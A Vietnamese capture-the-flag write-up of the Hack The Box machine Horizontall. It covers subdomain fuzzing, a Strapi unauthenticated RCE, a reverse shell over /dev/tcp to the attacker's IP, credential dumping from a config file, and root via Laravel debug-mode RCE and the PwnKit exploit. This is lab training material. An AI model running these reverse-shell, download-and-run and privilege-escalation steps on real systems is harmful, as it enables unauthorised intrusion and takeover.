I. Quét dịch vụ

Như mọi khi, chúng ta bắt đầu bằng việc quét dịch vụ:

# Nmap 7.92 scan initiated Fri Jan 14 02:48:59 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for 10.10.11.105
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 02:49:13 2022 -- 1 IP address (1 host up) scanned in 13.50 seconds

Bạn để ý dòng này không?

http-title: Did not follow redirect to http://horizontall.htb

Về cơ bản, chúng ta phải thêm một dòng nữa vào file /etc/hosts, đại khái như này:

10.10.11.105    horizontall.htb

Chạy nmap lần nữa, ta được kết quả:

# Nmap 7.92 scan initiated Fri Jan 14 02:59:54 2022 as: nmap -sC -sV -oN nmap.txt 10.10.11.105
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.042s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 14 03:00:05 2022 -- 1 IP address (1 host up) scanned in 10.60 seconds

Quét tất cả các cổng cũng không tiết lộ gì hơn, do đó mình thử kiểm tra dịch vụ HTTP trong trình duyệt:

Nhưng chẳng bấm được gì cả. Đồng thời, gobuster cũng vừa kịp trả về kết quả:

$ gobuster dir -r -u http://horizontall.htb -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/01/14 03:18:57 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 403) [Size: 178]
/css                  (Status: 403) [Size: 178]
/js                   (Status: 403) [Size: 178]
                                               
===============================================================
2022/01/14 03:25:24 Finished
===============================================================

Không có gì mới, nhỉ? Mình cũng đã kiểm tra mã nguồn javascript nhưng có vẻ không có gì mới lạ hết.

Lúc này, mình chợt nhớ tới một mẹo ctf nhỏ - nếu thử thách yêu cầu bất cứ sự thay đổi nào trong file /etc/hosts, đáp án chắc hẳn nằm đâu đó trong các tên miền phụ. Do đó, mình thử quét các tên miền phụ, câu lệnh như sau:

wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301

Và nó chạy một cách hoàn hảo:

$ wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://horizontall.htb" -H "Host: FUZZ.horizontall.htb" --hc 301
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                      
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                                                                                                                                                        
000047093:   200        19 L     33 W       413 Ch      "api-prod"                                                                                                                                                                   

Total time: 641.3004
Processed Requests: 114441
Filtered Requests: 114439
Requests/sec.: 178.4514

Mất khoảng 10 phút để chạy trong một máy ảo hạng xoàng. Dù vậy, chúng ta đã tìm ra một hướng tấn công mới - điểm đầu cuối api-prod.

Nhưng trước hết, chúng ta cần thêm nó vào file /etc/hosts đã.

10.10.11.105    api-prod.horizontall.htb 

II. Tấn công API

Khi mở ra trong browser, chúng ta tìm thấy:

Ừm thì, cảm ơn…?

Chúng ta sẽ làm theo đúng quy trình với điểm đầu cuối API này. Đây là kết quả quét gobuster:

/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60]
/admin                (Status: 200) [Size: 854]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60]
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]
/%C0~                 (Status: 400) [Size: 69]
/%C0.bak              (Status: 400) [Size: 69]
/%C0.bak2             (Status: 400) [Size: 69]
/%C0.old              (Status: 400) [Size: 69]
/%C0.1                (Status: 400) [Size: 69]
/.%C0.swp             (Status: 400) [Size: 69]

Như bạn có thể thấy, có rất nhiều thứ thú vị để thử ở đây. Nhưng trước nhất, thử đi đến /admin nào.

Vậy công nghệ phía sau là strapi. Tìm kiếm nhanh bằng searchsploit tiết lộ một lỗ hổng RCE chí mạng.

$ searchsploit strapi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                                                                                                                                                          | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)                                                                                                                                        | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)                                                                                                                                  | multiple/webapps/50239.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Cứ chọn một cái bạn thích và chạy nó. Ở đây, mình dùng 50239.py:

$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzODc3NTg2LCJleHAiOjE2NDY0Njk1ODZ9.p_uvCIHcKXwruPv8na6MVpU-aLInNKphFDvOh7zYs5U


$> 

Tuy nhiên, thử chạy một câu lệnh lại bị gặp lỗi:

$> id
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

Ban đầu mình nghi ngờ đó là lỗi lập trình hay sao đó. Tuy vậy, nó thực sự đã gọi được về máy mình.

Bởi thế, mình nhanh chóng viết tạm một mã kết nối ngược (reverse shell) như thế này:

#!/bin/sh

sh -i >& /dev/tcp/10.10.16.13/9000 0>&1

Và tải nó lên máy đối tượng.

$> wget 10.10.16.13/rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

Chúng ta có thể thấy rõ ràng nó đã được thành công chuyển đi từ máy tấn công của chúng ta:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.105 - - [03/Feb/2022 03:55:37] "GET /rv.sh HTTP/1.1" 200 -

Và khi chúng ta chạy chương trình đó:

$> bash rv.sh
[+] Triggering Remote code executin
[*] Rember this is a blind RCE do not expect to see output

Và chúng ta nhận được một kết nối ngược:

$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.11.105] 43566
sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

III. User flag

Sau khi tìm kiếm khoảng chừng là 5 giây, mình nhận ra rằng tài khoản strapi có đủ quyền hạn để đọc được flag tại /home/developer/user.txt.

$ ls /home
developer
$ cd /home/developer
$ ls -al
total 108
drwxr-xr-x  8 developer developer  4096 Aug  2  2021 .
drwxr-xr-x  3 root      root       4096 May 25  2021 ..
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1  2021 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1  2021 .bashrc
drwx------  3 developer developer  4096 May 26  2021 .cache
-rw-rw----  1 developer developer 58460 May 26  2021 composer-setup.php
drwx------  5 developer developer  4096 Jun  1  2021 .config
drwx------  3 developer developer  4096 May 25  2021 .gnupg
drwxrwx---  3 developer developer  4096 May 25  2021 .local
drwx------ 12 developer developer  4096 May 26  2021 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4  2021 .ssh
-r--r--r--  1 developer developer    33 Feb  3 08:06 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2  2021 .viminfo -> /dev/null

Hoặc, chính xác hơn, tất cả mọi người trong máy chủ đều có thể đọc file user.txt đó. Chỉ việc cat nó ra và chúng ta có được user flag.

IV. Leo thang quyền hạn

Đúng hơn là một hướng đi sai trông-có-vẻ-rất-thật mà mình lỡ bước vào. Nếu bạn không hứng thú, bạn có thể nhảy đến mục leo thang quyền hạn thât.

Đây là điểm bắt đầu của một thất bại đau khổ:

$ uname -a
Linux horizontall 4.15.0-154-generic #161-Ubuntu SMP Fri Jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Và dễ thấy có rất nhiều hướng tấn công “tiềm năng” chỉ với thông tin đó.

$ searchsploit linux kernel 4.15.0                                                                                                                                                                                                    130------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                                                                                                                   | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                                                       | linux/local/9479.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                                                                                                           | linux/local/50135.c
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation                                                                                                                             | linux/local/47163.c
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)                                                                                                         | linux/local/47164.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)                                                                                                         | linux/local/47165.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)                                                                                                    | linux/local/47166.sh
Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)                                                                                                       | linux/local/47167.sh
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                                                                                                                  | linux/local/41886.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                                                                                                                                                    | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption                                                                                                                                        | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free                                                                                                                                                              | linux/dos/44579.c
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Sau khi phí hoài một tiếng đồng hồ để “thử và sai” từng cái một, mình đi đến kết luận là ở đây chúng chẳng có tác dụng gì cả.

V. Leo thang quyền hạn thật - giá như

Mọi thứ quay trở về đúng quỹ đạo của nó sau khi mình bước ra khỏi con đường sai đó. Hoặc ít nhất, đó là những gì mình muốn nói, nhưng không.

Tất cả lại bắt đầu từ danh sách những cổng đang mở này:

$ ss -lntup
Netid  State    Recv-Q   Send-Q      Local Address:Port     Peer Address:Port                                                                                   
tcp    LISTEN   0        128             127.0.0.1:8000          0.0.0.0:*                                                                                      
tcp    LISTEN   0        80              127.0.0.1:3306          0.0.0.0:*                                                                                      
tcp    LISTEN   0        128               0.0.0.0:80            0.0.0.0:*                                                                                      
tcp    LISTEN   0        128               0.0.0.0:22            0.0.0.0:*                                                                                      
tcp    LISTEN   0        128             127.0.0.1:1337          0.0.0.0:*       users:(("node",pid=1750,fd=31))                                                
tcp    LISTEN   0        128                  [::]:80               [::]:*                                                                                      
tcp    LISTEN   0        128                  [::]:22               [::]:*  

Theo ý mình, cổng 1337 kia trông vô cùng khả nghi. Tuy nhiên, sau một chút SSH tunneling, mình đã nhận ra rằng nó chính là điểm đầu cuối API mà chúng ta đã khám phá ra trước đó.

Mặt khác, cổng 3306 kia mới là thủ phạm thực sự.

Đây cũng là một câu lệnh rất hữu dụng mà trong tình huống này lại mở ra một hướng đi sai lầm:

$ grep -Rnw -e "password"
environments/production/database.json:13:        "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json:12:        "password": "#J!:F9Zt2u"
environments/staging/database.json:13:        "password": "${process.env.DATABASE_PASSWORD || ''}",

Không nghĩ nhiều, mình lập tức cat file development/database.json đó ra.

{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

Nào ai ngờ được, tất cả những thông tin trông vô cùng xác thực đó đều là những cái bẫy. Sau khi kết nối tới cơ sở dữ liệu một cách đầy hạnh phúc, tìm kiếm xung quanh một chút, cuối cùng mình tìm thấy một cái gì đó vô cùng hứa hẹn.

$ mysql -h 127.0.0.1 -P 3306 -u developer -p strapi --password="#J!:F9Zt2u" -e "SELECT * FROM strapi_administrator"
mysql: [Warning] Using a password on the command line interface can be insecure.
id      username        email   password        resetPasswordToken      blocked
3       admin   admin@horizontall.htb   $2a$10$Z/5DNUBoQeb0hOBmD3mlous9fju9gK3FEGOVKoe.XRw4TNCTgjqu.    NULL    NULL

Mình đã trải qua địa ngục để bẻ cái mật khẩu đó, chỉ để muộn màng nhận ra rằng nó nổi tiếng khó bẻ vì thời gian tính toán hàm băm của nó rất lâu. Dù sao thì, mình cũng đã bẻ được nó.

admin	SuperStrongPassword1

Tại sao mật khẩu này trông quen thế nhỉ…

Mình lập tức giác ngộ - đây chính là tài khoản admin giả mạo mà chương trình khai thác lỗi strapi của chúng ta đã tạo ra ban đầu! Công sức đổ sông đổ bể… Đúng là một trải nghiệm đáng nhớ.

VI. Thực sự leo thang đặc quyền

Vẫn còn một cổng kì lạ nữa đang mở - cổng 8000. Sau một hồi chuyển hướng các cổng qua SSH:

ssh -i key/id_rsa -L 9999:127.0.0.1:8000 strapi@horizontall.htb

Rồi kết nối thông qua localhost:9999, chúng ta nhìn thấy một trang Lavarel mới tinh.

Bạn có để ý dòng chữ nhỏ này ở góc phải dưới không?

Laravel v8 (PHP v7.4.18)

Không mất nhiều thời gian, rất nhiều lỗ hổng đã được tìm thấy:

$ searchsploit laravel 8
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection                 | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security                                | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution                                     | php/webapps/49424.py
Laravel Nova 3.7.0 - 'range' DoS                                                     | php/webapps/49198.txt
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) | php/webapps/50525.txt
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read                            | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload                   | php/webapps/46389.py
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Hầu hết đều là chương trình Python. Chúng ta có thể chuyển hướng cổng, hoặc thực tiếp tải mã tấn công của chúng ta lên máy chủ. Tuy nhiên, biết rằng máy chủ có sẵn Python 3:

strapi@horizontall:~$ python3 -V
Python 3.6.9

Lựa chọn sau có vẻ là một lựa chọn tốt hơn. Tuy vậy…

strapi@horizontall:~$ python3 rt.py http://127.0.0.1:8000 /var/www/html/laravel/storage/logs/laravel.log 'whoami'                                                                                                                             
                                                                                                                                                                                                                                              
Exploit...                                                                                                                                                                                                                                    
Traceback (most recent call last):                                                                                                                                                                                                            
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 601, in urlopen                                                                                                                                                       
    chunked=chunked)                                                                                                                                                                                                                          
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 387, in _make_request                                                                                                                                                 
    six.raise_from(e, None)                                                                                                                                                                                                                   
  File "<string>", line 3, in raise_from                                                                                                                                                                                                      
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 383, in _make_request                                                                                                                                                 
    httplib_response = conn.getresponse()                                                                                                                                                                                                     
  File "/usr/lib/python3.6/http/client.py", line 1373, in getresponse                                                                                                                                                                         
    response.begin()                                                                                                                                                                                                                          
  File "/usr/lib/python3.6/http/client.py", line 311, in begin                                                                                                                                                                                
    version, status, reason = self._read_status()                                                                                                                                                                                             
  File "/usr/lib/python3.6/http/client.py", line 280, in _read_status                                                                                                                                                                         
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response

… mã khai thác lại từ chối hoạt động… Và bởi vậy, một lần tìm kiếm nhanh nữa đã dẫn mình tới cái repo một năm tuổi này.

strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

Lần này nó đã chạy một cách hoàn hảo. Tiếp theo, vào công chuyện chính, mình sao chép file /bin/bash sang một thư mục khác, thay đổi quyền sở hữu và cấp quyền SUID cho nó.

strapi@horizontall:~$ cp /bin/bash ~
strapi@horizontall:~$ python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "chown root:root /opt/strapi/bash; chmod +s /opt/strapi/bash"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
[+] Logs cleared

Và chỉ như vậy, giờ chúng ta có quyền truy cập root.

strapi@horizontall:~$ ls
bash  myapi
strapi@horizontall:~$ ./bash -p
bash-4.4# id
uid=1001(strapi) gid=1001(strapi) euid=0(root) egid=0(root) groups=0(root),1001(strapi)

VII. Phụ chương

Vào thời điểm viết bài này (khoảng gần 5 tháng sau ngày mở thử thách), còn có một phương pháp mới lạ, an toàn và đáng tin cậy khác để lấy được quyền truy cập root thông qua CVE-2021-4034. Hẳn đây không phải chủ ý ban đầu, nhưng dù sao thì nó vẫn chạy.

Từ trên máy tấn công của chúng ta:

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -O polkit.zip

Tải nó lên máy chủ, chạy make, và có root.

strapi@horizontall:~$ wget http://10.10.16.13/polkit.zip
--2022-02-03 12:55:45--  http://10.10.16.13/polkit.zip
Connecting to 10.10.16.13:80... connected.
HTTP request sent, awaiting response... l200 OK
Length: 6457 (6.3K) [application/zip]
Saving to: ‘polkit.zip’

polkit.zip                    100%[===============================================>]   6.31K  --.-KB/s    in 0.04s

2022-02-03 12:55:45 (175 KB/s) - ‘polkit.zip’ saved [6457/6457]

strapi@horizontall:~$ unzip polkit.zip
Archive:  polkit.zip
55d60e381ef90463ed35f47af44bf7e2fbc150d4
   creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore
  inflating: CVE-2021-4034-main/LICENSE
  inflating: CVE-2021-4034-main/Makefile
  inflating: CVE-2021-4034-main/README.md
  inflating: CVE-2021-4034-main/cve-2021-4034.c
  inflating: CVE-2021-4034-main/cve-2021-4034.sh
   creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
  inflating: CVE-2021-4034-main/pwnkit.c
strapi@horizontall:~$ cd CVE-2021-4034-main/
strapi@horizontall:~/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
strapi@horizontall:~/CVE-2021-4034-main$ ls
 cve-2021-4034     cve-2021-4034.sh   gconv-modules   LICENSE    pwnkit.c    README.md
 cve-2021-4034.c   dry-run           'GCONV_PATH=.'   Makefile   pwnkit.so
strapi@horizontall:~/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1001(strapi)

Vô cùng đơn giản và đáng tin cậy.

Tổng kết

Và mọi thứ là vậy. Không yêu cầu kĩ thuật đặc biệt nào cả - máy này chỉ chạy phần mềm có phiên bản hơi lỗi thời một chút. Bài học rút ra được là trước khi bắt đầu đi sâu và hướng tấn công nào thì phải nghĩ kĩ, và luôn nâng cấp phần mềm lên phiên bản mới nhất mỗi khi bản vá lỗ hổng bảo mật được phát hành!